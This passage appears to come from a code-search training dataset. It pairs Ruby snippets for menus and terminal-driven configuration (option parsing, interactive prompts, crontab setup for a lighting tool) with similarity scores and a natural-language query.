link_to(image_tag(\"/images/logged/my_classes.png\"), {:controller => 'classrooms'}) \n\t\t\toutput << link_to(image_tag(\"/images/logged/class_diary.png\"), {:controller => 'diario_de_classe_posts'})\n \n if is_admin?\n output << link_to(image_tag(\"/images/logged/class_diary.jpg\"), {:controller => 'admin'})\n end\t\t\t\n return output.join(\"\\n\")\n\n\t\telse\n\t\t \treturn image_tag(\"/images/unlogged/top.jpg\") \n\t\tend\n\tend", "def create_submenu(item)\n submenu = CP::MENU_COMMANDS.COMMANDS[item][1]\n c_list = []\n @sw_list = []\n CP::MENU_COMMANDS.COMMANDS.each_with_index do |comm, index|\n next unless comm.include?(submenu)\n next if index == item\n c_list.push(comm[0])\n @sw_list.push(index)\n end\n @submenu_window = Window_Command.new(120, c_list)\n save_op = !$game_system.save_disabled\n char_op = $game_party.members.size != 0\n CP::MENU_COMMANDS.COMMANDS.each_with_index do |comm, index|\n i = @cm_list.index(index)\n next unless i\n if comm.include?(:save)\n @submenu_window.draw_item(i, save_op)\n end\n if comm.include?(:no1)\n @submenu_window.draw_item(i, char_op)\n end\n end\n @submenu_window.x = @command_window.x + 32\n @submenu_window.y = @command_window.y + 26 + @command_window.index * 24\n @submenu_window.y -= @command_window.oy\n @submenu_window.active = true\n @command_window.active = false\n end", "def navi(rel_pos=\"/~kunolab/\")\n puts \"<ul class='menuBar'>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/MiniWorkshop/2nd/index.html\\\">Mini-Workshop</a>\"\n puts \"<li><a href=\\\"https://calendar.google.com/calendar/embed?src=kunogroup%40gmail.com&ctz=Asia%2FTokyo\\\">久野研カレンダー(KunoLabCalendar)</a>\"\n puts \"<li><a href=\\\"/~kunolab/seminar/ronbun/2018/index.html\\\">論文紹介(Paper Presentation)</a>\"\n puts \"<li><a href=\\\"/~kunolab/seminar/kenkyu/2018/index.html\\\">研究紹介(Research Presentation)</a>\"\n puts \"<li><a href='#'>ゼミ(Seminar) <image src=\\\"image/sita3.png\\\" class=\\\"headImg\\\"></a>\"\n puts \"<ul>\"\n puts \"<li><a href=\\\"/~kunolab/seminar/Lepton_2017/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Leptonゼミ(2017)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Modern_2016/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Thomsonゼミ(2016)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Modern_2015/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Thomsonゼミ(2015)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Perkins_2015/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Perkinsゼミ(2015)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Mann_2014/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Mannゼミ(2014)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Mann/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Mannゼミ(2013)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Elementary_2013/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> 素粒子物理学ゼミ(2013)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Leo_2012/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Leoゼミ(2012)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Perkins_2012/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Perkinsゼミ(2012)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Elementary/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> 素粒子物理学ゼミ(2012)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Knoll/index.html\\\"> <image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Knollゼミ(2011)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Knoll_en/index.html\\\"> <image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Knoll(en)ゼミ(2011)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Roe/index.html\\\"> <image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Roeゼミ(2011)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Leo/index.html\\\"> <image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Leoゼミ(2010)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Perkins_en/index.html\\\"><image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Perkins(en)ゼミ(2010)</a></li>\"\n puts \"<li><a href=\\\"/~sakamoto/kunolab/Leo_en/index.html\\\"> <image src=\\\"#{rel_pos}img/yoko3.png\\\" class=\\\"headImg\\\"> Leo(en)ゼミ(2010)</a></li>\"\n puts \"</ul>\"\n puts \"</ul>\"\nend", "def load_menu( model, transfer )\n\n puts \"IN SnippetsMenuView : load #{@main_view_component.inspect}\"\n listeners = transfer[:listeners]\n\n @main_view_component = javax.swing.JMenu.new(\"Snippets\")\n\n # Each group contains array of items\n model.grouped_items.each do |g, item|\n menu = javax.swing.JMenu.new(g.to_s)\n @main_view_component.add( menu )\n \n item.each do |s|\n item = javax.swing.JMenuItem.new(s)\n listeners.each {|l| item.addActionListener(l) }\n menu.add( item )\n end\n end\n end", "def initGameModesMenu\n\t\tmenuUi = MenuUI.new([:timetrial,:ranked, :back], @assets)\n\n\t\tmenuUi.setOnClickEvent(:timetrial){\n\t\t\tdisplay(TimeTrialMode.new(self))\n\t\t\tchangeBackground(\"ecranDeJeu\")\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:ranked){\n\t\t\tdisplay(@levelsMenu)\n\t\t}\n\n\t\tmenuUi.setOnClickEvent(:back){\n\t\t\tdisplay(@mainMenu)\n\t\t}\n\t\t@gameModesMenu = menuUi\n\tend", "def ObtenerHijosSinHref(menu,padreid)\n totaldeRegistros1 = self.ContarHijos(menu,padreid)\n if totaldeRegistros1>0\n @tira = @tira+\" children: [ \"\n @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id.to_s, padreid).order(orden: :asc)\n i=0\n @opcionMenus.each do |arbol|\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect ',id: '\" + arbol.id.to_s + \"', href: '', \"\n self.ObtenerHijosSinHref(menu,arbol.id)\n i=i+1\n if i<totaldeRegistros1\n @tira = @tira+\" }, \"\n else\n @tira = @tira+\" } ] \"\n end\n end\n else\n @tira = @tira+\" leaf: true \"\n end\n end", "def main_menu\n ctrlr = request.parameters['controller'].split('/').last\n dashboard_class = (ctrlr == 'dashboard' ? 'current' : '')\n assets_class = (ctrlr == 'assets' ? 'current' : '')\n design_class = ((ctrlr == 'themes' || ctrlr == 'resources') ? 'current' : '')\n contacts_class = (ctrlr == 'contacts' ? 'current' : '')\n settings_class = (ctrlr == 'settings' ? 'current' : '')\n content_class = ((ctrlr == 'home' || ctrlr == 'links' || ctrlr == 'news_items' || ctrlr == 'portfolios' || ctrlr == 'assigned_assets' || ctrlr == 'resume_sections' || ctrlr == 'resume_items' || ctrlr == 'galleries') ? 'current' : '')\n admin_class = ((ctrlr == 'users' || ctrlr == 'sites' || ctrlr == 'memberships') ? 'current' : '')\n \n result = content_tag('li', link_to('Dashboard', admin_dashboard_path, :class => dashboard_class))\n result << content_tag('li', link_to('Content', edit_admin_home_path, :class => content_class))\n result << content_tag('li', link_to(assets_name, admin_assets_path, :class => assets_class))\n result << content_tag('li', link_to('Design', admin_themes_path, :class => design_class))\n result << content_tag('li', link_to('Contacts', admin_contacts_path, :class => contacts_class))\n result << content_tag('li', link_to('Settings', edit_admin_settings_path, :class => settings_class))\n if admin?\n result << content_tag('li', link_to('Admin', admin_users_path, :class => admin_class))\n end\n result\n end", "def main()\n main_menu(SHOW_HEADER);\n end", "def vers_menu\n @win.set_title(\"FILL A PIX\")\n @win.set_default_size($widthEcran, $heightEcran)\n \n @win.remove(@layoutManager)\n\n Ecran_menu.creer(@win)\n return self\n end", "def edit_dynamic_menu(options = {})\n object = template_element(options, KEY_DYNAMIC_MENU)\n editor = render :partial => 'menu/modules/edit_dynamic_menu',\n :object => object\n viewable = dynamic_menu(options)\n\n %{\n <div id='in_edit_#{object.id}'>#{editor}<div class='clear'></div>#{viewable}</div>\n }\n end", "def update_menu_background\n end", "def createMenu _obj, _args\n \"_obj createMenu _args;\" \n end", "def menu\n puts '1) Promedio de notas'\n puts '2) Inasistencia alumnos'\n puts '3) Alumnos aprobados'\n puts '4) Salir'\nend", "def index\n @menu_items = @menu.menu_items.all\n @menu_item = @menu.menu_items.build\n end", "def cargarMenuPrincipal\n @opcionesMenu = Administrator::MenuNivel0.all\n @opcionesSubMenu = {}\n\n @opcionesMenu.each do |opcion|\n enlace = opcion.enlace\n @valores = Administrator::MenuNivel0::MenuNivel1.where(administrator_menu_nivel0_id: opcion.id).order('posicion asc') \n @opcionesSubMenu.merge!(enlace => @valores )\n end \nend", "def menu_params\n params.require(:menu).permit(:nama, :harga, :image)\n end", "def create_menu_command\n\t @command_window = Window_MenuCommand.new\n\t @command_window.set_handler(:item, method(:command_item))\n\t @command_window.set_handler(:skill, method(:command_personal))\n\t @command_window.set_handler(:equip, method(:command_personal))\n\t @command_window.set_handler(:status, method(:command_personal))\n\t @command_window.set_handler(:save, method(:command_save))\n\t @command_window.set_handler(:game_end, method(:command_game_end))\n\t @command_window.set_handler(:cancel, method(:return_scene))\t\n\tend", "def menu # can do custom methods within a method/class\n end", "def show\n @bread_menu = {m1: '品牌管理', m2: '品牌管理', m2_url: '/auction/brands', m3: '品牌详情'}\n end", "def menu\n @menu ||= Interface::Menu.new(self)\n end", "def movie_menu\n movie = Menu.new(\"What would you like to do with movies?\")\n movie.add_menu_item({key_user_returns: 1, user_message: \"Create a movie.\", do_if_chosen: [\"create_movie\"]})\n movie.add_menu_item({key_user_returns: 2, user_message: \"Update a movie.\", do_if_chosen: [\"update_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 3, user_message: \"Show me movies.\", do_if_chosen: [\"show_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 4, user_message: \"Delete a movie.\", do_if_chosen: [\"delete_object\", Movie, \"movie_menu\"]})\n movie.add_menu_item({key_user_returns: 5, user_message: \"Return to main menu.\", do_if_chosen: \n [\"main_menu\"]})\n run_menu_and_call_next(movie)\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def set_menu_item\n @menu_item = MenuItem.find(params[:id])\n end", "def ObtenerHijos(menu,padreid)\n\t totaldeRegistros1 = self.ContarHijos(menu,padreid)\n\t if totaldeRegistros1>0\n\t @tira = @tira+\" children: [ \"\n\t @opcionMenus = OpcionMenu.where(\"menu_id = ? AND padre_id = ?\", menu.id.to_s, padreid).order(orden: :asc)\n\t i=0\n\t @opcionMenus.each do |arbol|\n if arbol.hijos.length >0\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect',id: '\" + arbol.id.to_s + \"', href: '', \"\n else\n @tira = @tira+\" { text: ' <i class= \\\" \" + arbol.icono.to_s + \"\\\" ></i> <span class= \\\"no-padding\\\"> \" + arbol.nombre + \" </span>', cls:'no-padding waves-effect',id: '\" + arbol.id.to_s + \"', href: '\" + arbol.url.to_s + \"', \"\n end\n\t self.ObtenerHijos(menu,arbol.id)\n\t i=i+1\n if i<totaldeRegistros1\n @tira = @tira+\" }, \"\n else\n @tira = @tira+\" } ] \"\n\t end\n\t end\n\t else\n\t @tira = @tira+\" leaf: true \"\n\t end\n end", "def setMenu\n\t\t@phase = \"menu\"\n\t\t@dialogueText.setText([\"What will you do?\"])\n\t\t@menuStack.push(@battleOptions)\n\t\t@enemyUnits = @battleManager.enemyUnits\n\t\t@hero.nextCommand = []\n\tend" ]
[ "0.68325734", "0.66248494", "0.63863933", "0.63546157", "0.6354337", "0.6333094", "0.62882394", "0.62853163", "0.6246288", "0.6245095", "0.623541", "0.62309605", "0.6198754", "0.6187651", "0.6164516", "0.61503696", "0.6142076", "0.61310977", "0.6129728", "0.60896933", "0.6061788", "0.60607415", "0.6051026", "0.6051026", "0.60489154", "0.60426253", "0.6008545", "0.60059017", "0.59996295", "0.598959", "0.59840155", "0.5982858", "0.5982858", "0.5937636", "0.59247494", "0.5914606", "0.5908349", "0.59004104", "0.5893975", "0.58888334", "0.5888591", "0.58862215", "0.5884492", "0.5866979", "0.58599705", "0.5843913", "0.5834722", "0.5833477", "0.5830026", "0.5826635", "0.5826344", "0.5825767", "0.58019984", "0.5800843", "0.5796925", "0.57958645", "0.5792241", "0.57849133", "0.57778317", "0.577368", "0.57678384", "0.57632875", "0.5735323", "0.57276046", "0.5726913", "0.5726913", "0.57224643", "0.5720367", "0.5712758", "0.56966573", "0.5696177", "0.569559", "0.5692471", "0.56874454", "0.5686238", "0.5682434", "0.5682086", "0.5668542", "0.56585246", "0.5657248", "0.5653609", "0.5645586", "0.56449383", "0.5643025", "0.5640417", "0.5638675", "0.5635444", "0.5621454", "0.5617314", "0.56147766", "0.56138664", "0.56135666", "0.5609145", "0.560649", "0.5594981", "0.5588901", "0.5588901", "0.5588901", "0.55794305", "0.5574915" ]
0.6576866
2
Determins whether to get or set the configurations based on the input from the terminal
def execute(output: $stdout) options.each do |key, val| if val == key.to_s output.puts RubyEdit.config.send(key) else RubyEdit.config.send("#{key}=", val) output.puts "#{key.to_s.titleize} changed to #{val}" end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def configure debug = false\n config = self.get_config\n puts 'What is the ip address of your wifi link? (currently \"' + self.get_config['host'].to_s + '\").'\n puts 'Enter a blank line to broadcast UDP commands (ok to just hit enter here).'\n host = STDIN.gets.chomp\n config['host'] = host if ! host.to_s.empty?\n puts 'What is the address of your calendar ics file? (currently \"' + self.get_config['calendar'].to_s + '\")'\n puts '(ok to just hit enter here)'\n calendar = STDIN.gets.chomp\n config['calendar'] = calendar if ! calendar.to_s.empty?\n\n puts 'Do you have an energy monitor? [Y/n]'\n puts '(ok to just hit enter here)'\n monitor = STDIN.gets.chomp.to_s\n if ! monitor.empty?\n puts 'got \"' + monitor + '\"' if debug\n config['monitor'] = true if monitor.byteslice( 0 ).downcase == 'y'\n puts 'made that into \"' + config['monitor'].to_s + '\"' if debug\n end\n\n puts 'Shall we create a web page on this server? (currently \"' + self.get_config['web'].to_s + '\"). Optional (ok to just hit enter here)'\n web = STDIN.gets.chomp.to_s\n puts 'got \"' + web + '\"' if debug\n config['web'] = web if ! web.empty?\n config['web'] = '/tmp/lightwaverf_web.html' if config['web'].to_s.empty?\n puts 'going with \"' + config['web'].to_s + '\"' if debug\n\n device = 'x'\n while ! device.to_s.empty?\n puts 'Enter the name of a room and its devices, space separated. For example \"lounge light socket tv\". Enter a blank line to finish.'\n puts 'If you want spaces in room or device name, wrap them in quotes. For example \"\\'living room' 'tv' 'table lamp\\'\"'\n puts 'If you already have rooms and devices set up on another lightwaverf app then hit enter here, and \"lightwaverf update\" first.'\n if device = STDIN.gets.chomp\n parts = device.split ' '\n if !parts.first.to_s.empty? and !parts[1].to_s.empty?\n new_room = parts.shift\n config['room'] ||= [ ]\n found = false\n config['room'].each do | room |\n if room['name'] == new_room\n parts.map! do | device |\n { 'name' => device, 'type' => 'O' }\n end\n room['device'] = parts\n found = true\n end\n debug and ( p 'so now room is ' + room.to_s )\n end\n if ! found\n config['room'].push 'name' => new_room, 'device' => parts, 'mood' => nil\n end\n debug and ( p 'added ' + parts.to_s + ' to ' + new_room.to_s )\n end\n end\n end\n debug and ( p 'end of configure, config is now ' + config.to_s )\n file = self.put_config config\n\n executable = `which lightwaverf`.chomp\n crontab = []\n crontab << '# new crontab added by `' + executable + ' configure`'\n\n if config['monitor']\n crontab << '# ' + executable + ' energy monitor check ever minute + summarise every 5'\n crontab << '* * * * * ' + executable + ' energy > /tmp/lightwaverf_energy.out 2>&1'\n crontab << '*/5 * * * * ' + executable + ' summarise 7 > /tmp/lightwaverf_summarise.out 2>&1'\n end\n\n if config['web']\n crontab << '# ' + executable + ' web page generated every hour'\n webTime = Time.now + 300\n crontab << webTime.strftime('%M * * * *') + ' ' + executable + ' web > ' + config['web'] + ' 2> /tmp/lightwaverf_web.out'\n end\n\n if config['calendar']\n crontab << '# ' + executable + ' update schedule ONLY ONCE A DAY'\n calendarTime = Time.now + 60\n crontab << calendarTime.strftime('%M %H * * *') + ' ' + executable + ' schedule true > /tmp/lightwaverf_schedule.out 2>&1'\n end\n\n config['room'].each do | room |\n next unless room['device']\n room['device'].each do | device |\n next unless device['reboot']\n out_file = '/tmp/' + room['name'] + device['name'] + '.reboot.out'\n out_file.gsub! /\\s/, ''\n crontab << '@reboot ' + executable + ' ' + room['name'] + ' ' + device['name'] + ' ' + device['reboot'] + ' > ' + out_file + ' 2>&1'\n end\n end\n self.update_cron(crontab, executable)\n 'Saved config file ' + file\n end", "def request_config(config)\n cliio = HighLine.new\n config.login ||= cliio.ask(\"login: \")\n config.password ||= cliio.ask(\"password: \") {|q| q.echo = '*' }\n end", "def conf_load(file, opts={})\r\n\topts={:save => true, :set => false}.merge(opts)\r\n\tchanged = false\r\n\r\n\tbegin\r\n\t\tconf = AlienConfig.load(file)\r\n\r\n\t\t[CONF_HOST,CONF_USER,CONF_PASS,CONF_CLI,CONF_PRIO].each do |param|\r\n\t\t\tnot_set = conf[param].nil? || conf[param].empty?\r\n\t\t\tif not_set || opts[:set]\r\n\t\t\t\twhile true\r\n\t\t\t\t\tprintf \"Enter '%8s'%s\", param, (not_set ? \": \" : \" [#{conf[param]}]: \")\r\n\t\t\t\t\tSTDOUT.flush\r\n\t\t\t\t\tif (str = STDIN.gets.strip).empty?\r\n\t\t\t\t\t\tnext if not_set\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tend\r\n\t\t\t\t\tconf[param] = str\r\n\t\t\t\t\tchanged = true\r\n\t\t\t\t\tbreak\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend\r\n\trescue Exception => e\r\n\t\tputs\r\n\t\tputs \"#ERROR# input interrupted\"\r\n\t\treturn nil\r\n\trescue\r\n\t\tputs\r\n\t\tputs \"#ERROR# invalid input\"\r\n\t\treturn nil\r\n\tend\r\n\tconf.save if opts[:save] && changed\r\n\r\n\treturn conf\r\nend", "def conf name, args = {}\n required = args[:required] ||= false\n default = args[:default] ||= nil\n if CONFIG[name]\n CONFIG[name]\n else\n if required && !default\n $stderr.puts \"#{name} not found - exiting\"\n exit\n else\n default\n end\n end\nend", "def commandline\n ui == \"commandline\"\n end", "def ask_for_action\n puts 'Log Me In Calculator test'\n puts 'Please select your test type (enter the corresponding number)'\n puts '[1]- Operational'\n puts '[2]- Functionnal'\n puts '[3]- All'\n test_to_run = gets.strip\n recreate_default_config(test_to_run)\n read_config\n run_tests\nend", "def init\n if Dir.exist?(@@config_file)\n return puts \"The configure has been initialized yet\"\n end\n dir = File.dirname(File.realpath(__FILE__)) # for ruby > 2.0.0, use __dir__\n files = File.join(dir, 'terminal', '*.rb')\n support_term = Dir.glob(files).map {|fn| File.basename(fn, '.rb')}\n\n puts \"Currently support terminals:\"\n support_term.each_with_index {|term, i| puts \"[#{i}]\\t#{term}\"}\n print \"Select your terminal: \"\n choice = $stdin.gets.chomp\n if choice.to_i != 0 || choice == '0'\n choice = choice.to_i\n if 0 <= choice && choice < support_term.size\n print \"Will create #{@@config_file} and #{@@session_dir}, go on?[Y/N] \"\n answer = $stdin.gets.chomp\n return if answer == 'N' || answer == 'n'\n configure = {\n 'terminal' => support_term[choice]\n }\n FileUtils.mkpath(BASE_DIR) unless Dir.exist?(BASE_DIR)\n IO.write @@config_file, YAML.dump(configure)\n FileUtils.mkdir(@@session_dir) unless Dir.exist?(@@session_dir)\n puts \"Ok, the configure is initialized now. Happy coding!\"\n return\n end\n end\n puts \"Incorrect choice received!\"\n end", "def opt_strt_chk(input)\n until input == 'options' || input == 'start'\n puts \"\\n Type 'options' to go into the options menu or 'start' to begin a new game\"\n input = gets.chomp\n end\n if input == 'options'\n options\n else\n end\n end", "def ask_profile\n print \"Do you want AppStore distribution? [Yes/no] (default AdHoc): \"\n r = Readline.readline()\n if r == \"Yes\"\n $ad_hoc = false\n $prod_pack = true\n #log \"Building an IPA for === AppStore === distribution\"\n confirm_continue\n else\n print \"Do you want Production Packaging? [Yes/no] (default Dev package): \"\n r = Readline.readline();\n if( r == \"Yes\" )\n $ad_hoc = true\n $prod_pack = true\n #log \"Building app in PRODUCTION PACKAGE for AD HOC distribution\"\n else\n $ad_hoc = true\n $prod_pack = false\n #log \"Building app in DEV PACKAGE for AD HOC distribution\"\n end\n end\nend", "def main(command_line_options=ARGV)\n parser = Slop::Parser.new cli_flags\n arguments = parse_arguments(command_line_options, parser)\n\n if arguments.key?(:ce) || arguments.key?(:ci) || arguments.key?(:h)\n if arguments.key?(:ci)\n\n end\n if arguments.key?(:ce)\n\n end\n if arguments.key?(:h)\n puts cli_flags\n end\n exit\n end\n\n elsif set?(arguments, :port)\n puts portquiz arguments[:port]\n elsif set?(arguments, :down)\n puts is_it_up arguments[:down]\n end", "def config(arg)\n\t\tconfig = cookies[:\"conf\"] \n\t\tif config != nil \n\t\t\tconfig = config.split(\",\")\n\t\t\tresult = case arg\n\t\t\t\twhen \"cat\" : 0\n\t\t\t\twhen \"grm\" : 1\n\t\t\t\twhen \"font\": 2\n\t\t\t\twhen \"tib\" : 3\n\t\t\t\telse nil\n\t\t\tend \n\t\t\terg = config.at(result) == \"1\"\t\n\t\telse\n\t\t\terg = false\t\t\t\t\n\t\tend \t\n\t\treturn erg\n\tend", "def initialize_organization\n @prompt = TTY::Prompt.new(symbols: {marker: \"→\"})\n @config = {}\n @config[\"config\"] = {}\n @cmd = TTY::Command.new\n configure_args\n if @args.empty?\n @prompt.keypress(prompt_box(\"Welcome to the Perlmutter App initialization! This initializer utilizes keyboard input for controls. These could include the arrow keys, full text input, or pressing a single key to continue. Please continue by pressing any key, or by waiting 10 seconds.\"), timeout: 10)\n if @prompt.keypress(prompt_box(\"By proceeding, you will configure many services, two paid. Twilio, a phone automation service, to send calls/texts on your behalf, as well as Heroku, a hosting and deployment service, and you acknowledge that charges and account balances are your own responsibility to monitor, and not Perlmutter App nor any of its contributors. Charges only occur based on scale of usage, a full cost outline can be found in the README. Please acknowledge the terms above. (Y/n)\")).downcase == \"y\"\n case @prompt.select(prompt_box(\"Please select whether you would like to configure your app, deploy your app, or both.\"), %W[Configure Deploy Both])\n when \"Configure\"\n configure_organization\n when \"Deploy\"\n begin\n yaml = YAML.load(File.open(\"config/locales/org/config/en.yml\", \"rb\").read)\n @config[\"config\"] = yaml[\"en\"][\"config\"]\n deploy_organization\n rescue StandardError\n error_box(\"Failed to begin deploying from your config. Please verify its validity and re-run, and if not, run the configure option and start anew.\")\n end\n else\n configure_organization\n deploy_organization\n end\n else\n error_box(\"Denied agreement, please re-run and accept to proceed.\")\n end\n else\n box(\"Ran with arguments, proceeding to invoke them silently...\")\n configure_enabled = get_argument_value(\"configure\", false, false)\n if configure_enabled\n configure_organization\n end\n deploy_enabled = get_argument_value(\"deploy\", false, false)\n if deploy_enabled\n deploy_organization\n end\n\n if !configure_enabled && !deploy_enabled\n error_box(\"No initializer option selected, please select configure, deploy, or both via flag.\")\n end\n end\nend", "def main_options\n commands = {\"1\" => \"See all buildings\" ,\n \"2\" => \"Set a unit as rented/avalilable\" ,\n \"3\" => \"Create new Building\",\n \"4\" => \"Exit program\"}\n\n commands.each do |option, description |\n puts \"#{option} - #{description} \"\n end\n print \"\\n:>\"\n gets_chomp(commands)\n end", "def parse_config\r\n exec 'parse_config(true);'\r\n self.config_parsed = true\r\n end", "def set_prompt(set_num)\n print \"Do you wish to lay down the #{Deck.set_data(set_num)[1]} set (y/n): \"\n return gets.chr.downcase == 'y' ? true : false\n end", "def execute(input: $stdin, output: $stdout)\n\n prompt = TTY::Prompt.new\n\n choices = %w[small medium large]\n\n heading prompt.select('What size? (simple)', choices)\n\n choices = { small: 1, medium: 2, large: 3 }\n\n heading prompt.select('What size? (key/value)', choices)\n\n choices = [\n { name: 'small', value: 1 },\n { name: 'medium', value: 2, disabled: '(out of stock)' },\n { name: 'large', value: 3 }\n ]\n\n heading prompt.select('What size? (json config)', choices)\n\n result = prompt.select('What size? (dsl)') do |menu|\n menu.choice name: 'small', value: 1\n menu.choice name: 'medium', value: 2, disabled: '(out of stock)'\n menu.choice name: 'large', value: 3\n end\n\n heading result\n\n result = prompt.select('Choose your destiny (custom value via proc)?') do |menu|\n menu.choice 'Scorpion', 1\n menu.choice 'Kano', 2\n menu.choice 'Jax', -> { 'Nice choice captain!' }\n end\n\n heading result\n\n result = prompt.select('Choose your destiny (default)?') do |menu|\n menu.default 3\n\n menu.choice 'Scorpion', 1\n menu.choice 'Kano', 2\n menu.choice 'Jax', 3\n end\n\n heading result\n\n heading prompt.select('Choose your destiny (cycle)?', %w(Scorpion Kano Jax), cycle: true)\n\n prompt.select('Choose your destiny (extra config)?', %w(Scorpion Kano Jax), help: '(Bash keyboard)', symbols: {marker: '>'})\n\n prompt.on(:keyctrl_x, :keyescape) do\n raise ExitApp\n end\n\n choices = %w[small medium large]\n\n begin\n heading prompt.select('What size? (PRESS ESC or CTRL+X to exit)', choices)\n rescue ExitApp\n puts\n prompt.warn 'e[x]iting....'\n end\n\n :gui\n end", "def generate_settings(cmdline, configuration)\n loaded = YAML::load(configuration)\n\n if loaded[:properties].nil?\n loaded[:properties] = {}\n end\n\n unless cmdline['--pattern'].nil? \n loaded[:vcs][:release_regex] = input['--pattern']\n end\n\n #User name override\n if cmdline['-c']\n (0..cmdline['-c']-1).each do |it|\n u = cmdline['<user>'][it]\n p = cmdline['<password>'][it]\n t = cmdline['<target>'][it]\n loaded[:task_systems].each do |ts|\n if ts[:name] == t\n ts[:usr] = u\n ts[:pw] = p\n end\n end\n end\n end\n \n unless cmdline['--properties'].nil? \n json_value = JSON.parse(cmdline['--properties'])\n loaded[:properties] = loaded[:properties].merge(json_value)\n end\n loaded[:verbosity] = Logging.calc_verbosity(cmdline)\n loaded \n end", "def override_defaults_based_on_config(config)\n config ||= {}\n config['commands'] ||= {}\n\n override_default(flags,config)\n override_default(switches,config)\n\n commands.each do |command_name,command|\n command_config = config['commands'][command_name] || {}\n\n override_default(command.flags,command_config)\n override_default(command.switches,command_config)\n end\n end", "def configure options\n options.map do |key, value|\n types = {String => 'string', Fixnum => 'int', TrueClass => 'bool',\n FalseClass => 'bool', Float => 'float', Array => 'list --list-type=string'}\n type = types[value.class]\n raise 'Invalid type for configure' unless type\n value = value.to_json if value.is_a?(Array)\n value = %(\"#{value}\") if type == 'string'\n check = \"gconftool-2 --get \\\"#{key}\\\" | grep #{value} #{echo_result}\"\n Command.new(\"gconftool-2 --set \\\"#{key}\\\" --type #{type} #{value}\", check)\n end\n end", "def recipe_ask_for_options\n puts \"\"\n puts \"What would you like to do?\".colorize(:yellow)\n puts \"\\n- [1] Save recipe\\n- [2] See Conversion tool\\n- [3] Back to main menu\".colorize(:yellow)\n user_input = gets.chomp\n if @answers[1][1].include?(user_input)\n @recipe.save_recipe\n self.save_menu_options\n elsif @answers[1][2].include?(user_input)\n self.start_convert\n elsif @answers[1][3].include?(user_input)\n self.start_main_menu\n elsif user_input == \"end\"\n exit \n else\n puts \"Thats wasn't a valid input, type 1 to start program, type 2 to navigate to the conversion feature and type 3 to see help.\".colorize(:red)\n end\n end", "def interactively_check_config\n gem_root = File.expand_path('../..', __FILE__)\n data = YAML.load_file(\"#{gem_root}/config/agent.yml\")\n\n written = false\n element_name = ENV['NETUITIVED_ELEMENT_NAME'] || data['elementName'] || ''\n\n if element_name == 'elementName' || element_name == ''\n puts 'please enter an element name: '\n element_name = STDIN.gets.chomp\n data['elementName'] = element_name\n written = true\n end\n\n api_id = ENV['NETUITIVED_API_ID'] || data['apiId'] || ''\n\n if api_id == 'apiId' || api_id == ''\n puts 'please enter an api key: '\n api_id = STDIN.gets.chomp\n data['apiId'] = api_id\n written = true\n end\n\n return unless written\n\n File.open(\"#{gem_root}/config/agent.yml\", 'w') { |f| f.write data.to_yaml }\n end", "def get_default_or_custom\n loop do\n puts \"Please enter 'default' to use the default options or 'custom'\"\n print \"to enter your own: \"\n default_or_custom = gets.chomp.downcase\n redo if default_or_custom != \"default\" && default_or_custom != \"custom\"\n return default_or_custom\n end\nend", "def valid_input? (input)\n #if statement verifies valid input to continue\n if input == \"amex\"\n @selected_program = AMEX\n return true\n\n elsif input == \"chase\"\n @selected_program = CHASE\n return true\n\n elsif input == \"citi\"\n @selected_program = CITI\n return true\n end #ends if/else statement\n\n end", "def configure_args\n @args = {}\n OptionParser.new do |opt|\n opt.on('-c', '--configure STRING', String) { 